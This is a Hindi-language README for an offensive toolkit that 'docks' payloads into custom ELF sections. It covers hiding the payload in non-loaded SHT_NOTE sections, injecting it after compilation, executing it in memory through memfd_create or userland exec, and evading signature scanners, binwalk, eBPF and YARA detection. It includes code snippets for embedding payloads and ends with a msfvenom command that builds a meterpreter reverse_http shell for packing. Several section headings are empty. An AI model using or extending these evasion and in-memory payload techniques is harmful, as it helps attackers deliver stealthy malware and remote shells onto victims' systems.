
ELF बाइनरी सेक्शन डॉकिंग टूलकिट स्टेजलेस पेलोड वितरण के लिए, जो कस्टम ELF सेक्शन मैनिपुलेशन के माध्यम से इन-फील्ड पेलोड अटैचमेंट, सिग्नेचर एवेज़न और स्टैटिक/डायनामिक लोडिंग प्रतिरोध को सक्षम बनाता है।
.data जैसे सेक्शन में रखता है।payload.h:
const data[3432] = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23
};
मैन्युअल रूप से या bin2c या xxd -i payload.bin > payload.h जैसे टूल्स के साथ आगे हेडर समावेशन के साथ प्राप्त किया जाता है।
पेलोड को सामान्य रूप से .text और .data में संग्रहीत करना भी एक बुरा विचार है, क्योंकि लोडिंग ट्रेसिंग और निष्पादन के लिए डेटा लोड करने के व्यवहारिक अर्थशास्त्र की जांच आसान हो जाती है।
__attribute__ के माध्यम से किया जाता है। यह थोड़ा बेहतर है लेकिन फिर भी अच्छी तरह से ट्रेस करने योग्य है क्योंकि ELF कैसे बनाया और लोड किया जाता है।char stack[10000] __attribute__ ((section ("binstack"))) = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;
main()
{
/* Initialize stack pointer */
init_sp (stack + sizeof (stack));
/* Initialize initialized data */
memcpy (&init_data, &data, &edata - &data);
}
असेंबलर-निर्भर .incbin-जैसी निर्देश एक सेक्शन बना सकती है और एक पेलोड एम्बेड कर सकती है।
उदाहरण: gcc -c payload.s या ld -r -b payload.bin -o payload.o
.section .bindata
.global payload_start
.type payload_start, @object
.section .binddata
.balign 64
payload_start:
.incbin "payload.bin"
.balign 1
payload_end:
.byte 0
लोडर में आगे पुनर्प्राप्ति के साथ:
int main(void) {
extern uint8_t payload_start;
uint8_t *ptrPayload = &payload_start;
...
}
नोट: हम payload.bin में एक पूरी तरह से कार्यात्मक ELF शामिल कर सकते हैं, जो महत्वपूर्ण है जब "फ़ैट" बाइनरी बनाने की बात आती है, जिसमें कई टूलकिट के तत्व होते हैं।
नोट: कार्य को पूरा करने के लिए अधिक एर्गोनोमिक टूल मौजूद हैं, जैसे @graphitemaster से INCBIN [link]
इसी विषय पर एक भिन्नता इनलाइन ASM है:
/* Raw image data for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) \
extern char embedded_image_ ## _index ## _data[]; \
extern char embedded_image_ ## _index ## _len[]; \
__asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t" \
"\nembedded_image_" #_index "_data:\n\t" \
".incbin \"" _path "\"\n\t" \
"\nembedded_image_" #_index "_end:\n\t" \
".equ embedded_image_" #_index "_len, " \
"( embedded_image_" #_index "_end - " \
" embedded_image_" #_index "_data )\n\t" \
".previous\n\t" );
EMBED_ALL
/* Image structures for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) { \
.refcnt = REF_INIT ( ref_no_free ), \
.name = _name, \
.data = ( userptr_t ) ( embedded_image_ ## _index ## _data ), \
.len = ( size_t ) embedded_image_ ## _index ## _len, \
},
static struct image embedded_images[] = {
EMBED_ALL
};
नोट: सेक्शन की परिभाषा में PROGBITS पर ध्यान दें, यह महत्वपूर्ण होगा।
कंपाइलर/लिंकर-आधारित पेलोड बाइनरी समावेशन आदर्श नहीं है
इसमें व्यापार-नापसंद हैं:

सेक्शन का प्रकार और नए सेक्शन पर सेट किए गए फ़्लैग यह निर्धारित करते हैं कि OS लोडर निष्पादन योग्य लॉन्च होने पर इसे मेमोरी में लोड करता है या नहीं। कुछ सेक्शन स्वचालित रूप से लोड होते हैं, अन्य नहीं (जैसे .symtab, .strtab)
आक्रामक के रूप में, हम इससे क्या दक्षताएँ प्राप्त कर सकते हैं?
हम उन सेक्शन पर फ़्लैग सेट करने से बच सकते हैं जो मेमोरी में डिफ़ॉल्ट लोडिंग मानते हैं।
हम एक अलग प्रकार के सेक्शन का उपयोग कर सकते हैं जो मेमोरी में लोड नहीं होता।
एक विक्रेता या सिस्टम इंजीनियर को किसी ऑब्जेक्ट फ़ाइल को विशेष जानकारी से चिह्नित करने की आवश्यकता हो सकती है जिसे अन्य प्रोग्राम अनुरूपता या संगतता के लिए जांच सकते हैं।
SHT_NOTEप्रकार के सेक्शन औरPT_NOTEप्रकार के प्रोग्राम हेडर तत्व इस उद्देश्य के लिए उपयोग किए जा सकते हैं।
बाद के मामले में, हम सिस्टम बाइनरी में इस प्रकार के सेक्शन का उपयोग देख सकते हैं:
$ readelf --sections /bin/tar | grep NOTE
[ 2] .note.gnu.bu[...] NOTE 00000000000002c4 000002c4
[ 3] .note.ABI-tag NOTE 00000000000002e8 000002e8
और उनकी सामग्री का निरीक्षण कर सकते हैं:
$ readelf -p .note.ABI-tag /bin/tar
String dump of section '.note.ABI-tag':
[ c] GNU
SHT_NOTE सेक्शन बनाने का अंतिम परिणाम ELF में इस प्रकार दिखेगा:

बोनस: SHT_NOTE हमें संरचना देता है यदि हमें इसका उपयोग करने की आवश्यकता है (और हम आगे इसका उपयोग करेंगे):

अब तक हम एक सेक्शन बनाने, OS लोडर द्वारा इसे मेमोरी में लोड होने से बचाने में सक्षम थे। सेक्शन फिलहाल ELF छवि में प्रभावी रूप से निष्क्रिय है। हम चर्चा करेंगे कि इसे थोड़ी देर बाद कैसे लोड किया जाए। हालाँकि, एक अधिक दबाव वाला प्रश्न यह है कि हम अभी भी कंपाइलर और लिंकर स्तर पर काम कर रहे हैं, और सेक्शन एक ऑब्जेक्ट है जो अंतिम ELF की संरचना में बुना जाता है, जो लोडर कोड से संबंध और मेमोरी पते बनाता है जो इसकी सामग्री को संदर्भित करता है।

क्या होगा यदि हम एक एम्बेडेड पेलोड के साथ एक ELF सेक्शन को लोडर संकलन वर्कफ़्लो के बाहर बना सकें, और बाद में उस सेक्शन को लोडर बाइनरी से जोड़ सकें? यह लोडर कोड और सेक्शन इंटरैक्शन के बीच संबंध को तोड़ देगा। फिर हम लोडर को सिखाएंगे कि अपने विदेशी डेटा सेक्शन को कैसे खोजें और लोड करें, प्रभावी रूप से एक लोडर में एक पेलोड को ढीले युग्मित तरीके से "डॉक" करना।
अवधारणात्मक रूप से, हमारे लक्ष्य होंगे:
लोडर/पेलोड (सेक्शन में) संबंध अब इस प्रकार दिखेगा:

हम तब एक इंजेक्टर बना सकते हैं जो लोडर में एक पेलोड सेक्शन पेश करेगा, बिना कोड स्तर पर काम किए, केवल बाइनरी संगतता (और लोडर को किसी भी पेलोड सेक्शन को लोड करने के बारे में पता होना चाहिए)

इस तरह के सामान्य ELF सेक्शन डॉकिंग सेटअप से कुछ परिणाम:
स्थैतिक ELF लोडर को फिर अपने आप भेजा जा सकता है, पेलोड से रहित, केवल एक सेक्शन को मांग पर लोड करने और उससे पेलोड को बूटस्ट्रैप करने के तंत्र।
पेलोड को अलग से पैकेज किया जा सकता है और किसी भी समय एक स्थिर चरण के रूप में लोडर के साथ बंडल किया जा सकता है, या बाद में एक इंजेक्टर के साथ। पेलोड अक्सर एन्क्रिप्टेड हो सकता है, यदि आवश्यक हो तो स्वयं एक ELF निष्पादन योग्य हो सकता है, जब तक लोडर पेलोड की संरचना नहीं बल्कि केवल इसकी पैकेजिंग क्षमताओं को जानता है।
इंजेक्टर कई बाइनरी (निष्क्रिय चरणों) से सेक्शन के अटैचमेंट की मध्यस्थता कर सकता है ताकि एक सेक्शन का निर्माण किया जा सके और लोडर में इंजेक्ट किया जा सके।
निष्पादन योग्य में कई संसाधनों को पैक करने बनाम सेक्शन स्तर के निर्माण के लाभ हैं। पैकर प्रसंस्करण और कोड का पता लगाने पर कोई ओवरहेड नहीं है। कई सेक्शन को अन्य टूलिंग के साथ ले जाने के मामले में जीत होती है जो इन-मेमोरी लॉन्च पर निर्भर करता है और पैकर्स के कारण आसानी से पैक नहीं किया जा सकता है क्योंकि पैकर्स को बाइनरी को फ़ाइल सिस्टम में निकालना पड़ता है। (फ़ैट बाइनरी सेक्शन आगे)
आइए ELF सेक्शन डॉकिंग घटकों पर विस्तार से चर्चा करें।
स्थिति: पीछे या फ़ील्ड में लाभ:
स्थिति: फ़ील्ड में लाभ:
लाभ:
ELF अनुभागीय इंजेक्टर/पैकर को मजबूत करना:
ELF लोडर को मजबूत करना:
ELF अनुभागीय लोडर के पेलोड लॉन्चर के साथ काम करने के बारे में कुछ शब्द:
लोडर दो इन-मेमोरी पेलोड निष्पादन तंत्रों में से एक का उपयोग कर सकता है:
विकल्प A: SYS_Memfd_create ()
विकल्प B: User land Exec (https://grugq.github.io/docs/ul_exec.txt)
वर्कफ़्लो रन:

ELF अनुभागीय पेलोड बनाम MSF पेलोड के बाद बिनवॉक के चोरी के अवसर:

ELF अनुभागीय पैकर बनाम eBPF चोरी:

YARA सत्यापनकर्ता और परीक्षण:


STIX टूलिंग परिभाषा:

cmake --configure . अपने बिल्ड वातावरण को कॉन्फ़िगर करने के लिए। हम वर्तमान में CMAke 3.18 का समर्थन करते हैं।./build.shhttps://github.com/rapid7/mettle से libreflect लाइब्रेरी का उपयोग करते हैं।vendor/lib/reflect/libreflect.a के अंतर्गत वितरित की गई है, लेकिन यदि आवश्यक हो तो मूल रिपॉजिटरी से पुनर्निर्मित किया जा सकता है।bpftrace के साथ खेलना चाहते हैं, तो कृपया अपने वितरण के लिए उपयुक्त कर्नेल हेडर स्थापित करें।run.sh देखेंaux/msfrc RC फ़ाइल का उपयोग इस प्रकार करेंगे:msfconsole -r aux/triage/msfrc
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ../elfpack_staging/mettle-shell.elf
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
aux/triage/elfpack_yar.py में देखा जा सकता है./aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]